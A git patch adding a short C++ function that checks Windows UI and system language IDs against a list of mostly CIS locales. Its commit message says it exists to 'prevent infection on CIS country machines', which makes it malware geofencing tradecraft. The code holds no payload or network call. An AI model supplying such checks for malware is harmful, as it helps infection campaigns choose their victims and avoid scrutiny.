From a6c6743d6e9d68f4792cae749d84e89d13d93122 Mon Sep 17 00:00:00 2001 From: rad9800 <105589633+rad9800@users.noreply.github.com> Date: Mon, 1 Aug 2022 22:54:36 +0100 Subject: [PATCH] Create IsCISMachine.cpp Common language check to prevent infection on CIS country machines. --- Windows API/IsCISMachine.cpp | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 Windows API/IsCISMachine.cpp diff --git a/Windows API/IsCISMachine.cpp b/Windows API/IsCISMachine.cpp new file mode 100644 index 0000000..6c98970 --- /dev/null +++ b/Windows API/IsCISMachine.cpp @@ -0,0 +1,35 @@ +BOOL IsCISMachine() +{ + LANGID UserDefaultUILang = GetUserDefaultUILanguage(); + LANGID SystemDefaultLang = GetSystemDefaultLangID(); + LANGID UserDefaultLangID = GetUserDefaultLangID(); + + static LANGID CIS_countries[] = + { + SUBLANG_RUSSIAN_RUSSIA, + SUBLANG_UKRAINIAN_UKRAINE, + SUBLANG_BELARUSIAN_BELARUS, + SUBLANG_TAJIK_TAJIKISTAN, + SUBLANG_ARMENIAN_ARMENIA, + SUBLANG_AZERI_LATIN, + SUBLANG_GEORGIAN_GEORGIA, + SUBLANG_KAZAK_KAZAKHSTAN, + SUBLANG_KYRGYZ_KYRGYZSTAN, + SUBLANG_TURKISH_TURKEY, + SUBLANG_UZBEK_LATIN, + SUBLANG_TATAR_RUSSIA, + SUBLANG_ROMANIAN_ROMANIA, + SUBLANG_SAKHA_RUSSIA, + SUBLANG_AZERI_CYRILLIC, + SUBLANG_UZBEK_CYRILLIC + }; + + for( unsigned short i = 0; i < _countof( CIS_countries ); i++ ) + { + if( CIS_countries[i] == UserDefaultUILang || + CIS_countries[i] == SystemDefaultLang || + CIS_countries[i] == UserDefaultLangID ) + return TRUE; + } + return FALSE; +}